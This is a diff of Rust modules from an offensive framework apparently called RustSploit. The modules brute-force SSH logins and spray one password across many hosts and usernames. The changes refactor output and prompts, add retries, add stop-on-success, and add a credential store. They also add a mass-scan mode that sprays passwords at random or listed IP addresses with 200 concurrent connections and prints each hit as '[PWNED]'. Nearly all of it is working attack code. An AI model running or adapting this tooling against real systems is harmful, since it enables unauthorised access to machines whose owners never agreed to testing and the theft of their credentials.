passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
@@ -156,243 +236,84 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ssh_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
// Check if already found to avoid duplicates
|
||||
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
|
||||
if !found_guard.contains(&entry) {
|
||||
found_guard.push(entry);
|
||||
}
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[!] {} -> {}:{} (retry {}/{}) - {}",
|
||||
addr_clone,
|
||||
user_clone,
|
||||
pass_clone,
|
||||
retries,
|
||||
max_retries_clone,
|
||||
msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Wait for all tasks with FuturesUnordered
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
// Use std::fs::File for simple writing
|
||||
use std::fs::File;
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
unknown_guard.len()
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::fs::File;
|
||||
match File::create(&filename) {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
@@ -420,19 +341,26 @@ async fn try_ssh_login(
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let handle = spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
let socket_addr: std::net::SocketAddr = addr_owned.parse()
|
||||
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
|
||||
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
|
||||
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
|
||||
let tcp = crate::utils::blocking_tcp_connect(&socket_addr, timeout_duration)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(timeout_duration)).ok();
|
||||
tcp.set_write_timeout(Some(timeout_duration)).ok();
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_timeout(timeout_duration.as_millis() as u32);
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
|
||||
Ok(sess.authenticated())
|
||||
});
|
||||
|
||||
|
||||
@@ -12,14 +12,12 @@ use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
@@ -28,22 +26,37 @@ use tokio::{
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
use crate::utils::{cfg_prompt_yes_no, cfg_prompt_default, cfg_prompt_required};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Password Spray".to_string(),
|
||||
description: "Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ SSH Password Spray ║".cyan());
|
||||
crate::mprintln!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
crate::mprintln!("{}", "║ ║".cyan());
|
||||
crate::mprintln!("{}", "║ Benefits: ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
@@ -97,7 +110,7 @@ impl Statistics {
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
crate::mprint!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
@@ -106,17 +119,17 @@ impl Statistics {
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
crate::mprintln!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
crate::mprintln!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -133,7 +146,7 @@ pub struct SprayResult {
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
@@ -214,15 +227,20 @@ pub async fn password_spray(
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
stop_on_success: bool,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
crate::mprintln!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
if stop_on_success {
|
||||
crate::mprintln!("{}", "[*] Stop-on-success enabled: will halt after first valid credential".yellow());
|
||||
}
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let success_stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
@@ -238,59 +256,106 @@ pub async fn password_spray(
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for user in usernames {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let success_stop_clone = Arc::clone(&success_stop);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
// Check if we should stop before acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
// Check again after acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
const MAX_RETRIES: u32 = 2;
|
||||
let mut attempt = 0u32;
|
||||
|
||||
loop {
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
results.lock().await.push(cred);
|
||||
// Persist credential to framework credential store
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&host, port, "ssh", &user, &password,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ssh_sweep",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
// Signal stop if stop_on_success is enabled
|
||||
if stop_on_success {
|
||||
success_stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
break;
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => {
|
||||
// Connection error — retry with exponential backoff
|
||||
if attempt < MAX_RETRIES {
|
||||
attempt += 1;
|
||||
// Exponential backoff: 500ms, 1000ms
|
||||
let delay_ms = 500u64 * (1u64 << (attempt - 1));
|
||||
sleep(Duration::from_millis(delay_ms)).await;
|
||||
continue;
|
||||
}
|
||||
stats.record_attempt(false, true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
if let Err(e) = handle.await { crate::meprintln!("[!] Task error: {}", e); }
|
||||
}
|
||||
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
if let Err(e) = progress_handle.await { crate::meprintln!("[!] Progress task error: {}", e); }
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
@@ -301,7 +366,11 @@ pub async fn password_spray(
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
let mut file = opts.open(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
@@ -312,65 +381,10 @@ fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
@@ -380,15 +394,61 @@ const DEFAULT_USERNAMES: &[&str] = &[
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Mass scan mode: random IPs or target file
|
||||
if is_mass_scan_target(target) {
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
let users_str = cfg_prompt_default("usernames", "Usernames (comma-separated)", "root,admin,ubuntu").await?;
|
||||
let users: Vec<String> = users_str.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
let users = Arc::new(users);
|
||||
let password = Arc::new(password);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH Spray",
|
||||
default_port: 22,
|
||||
state_file: "ssh_sweep_mass_state.log",
|
||||
default_output: "ssh_sweep_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: std::net::IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let password = password.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr: std::net::SocketAddr = format!("{}:{}", ip, port).parse().ok()?;
|
||||
for user in users.iter() {
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr,
|
||||
std::time::Duration::from_secs(10),
|
||||
).ok()?;
|
||||
if let Err(e) = tcp.set_read_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
if let Err(e) = tcp.set_write_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() { continue; }
|
||||
if sess.userauth_password(user, &password).is_ok() && sess.authenticated() {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, password);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray").await?;
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
@@ -396,29 +456,29 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
|
||||
let more_targets = cfg_prompt_default("additional_targets", "Additional targets (comma-separated, CIDR, or leave empty)", "").await?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if cfg_prompt_yes_no("load_targets_file", "Load targets from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("targets_file", "File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -432,28 +492,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
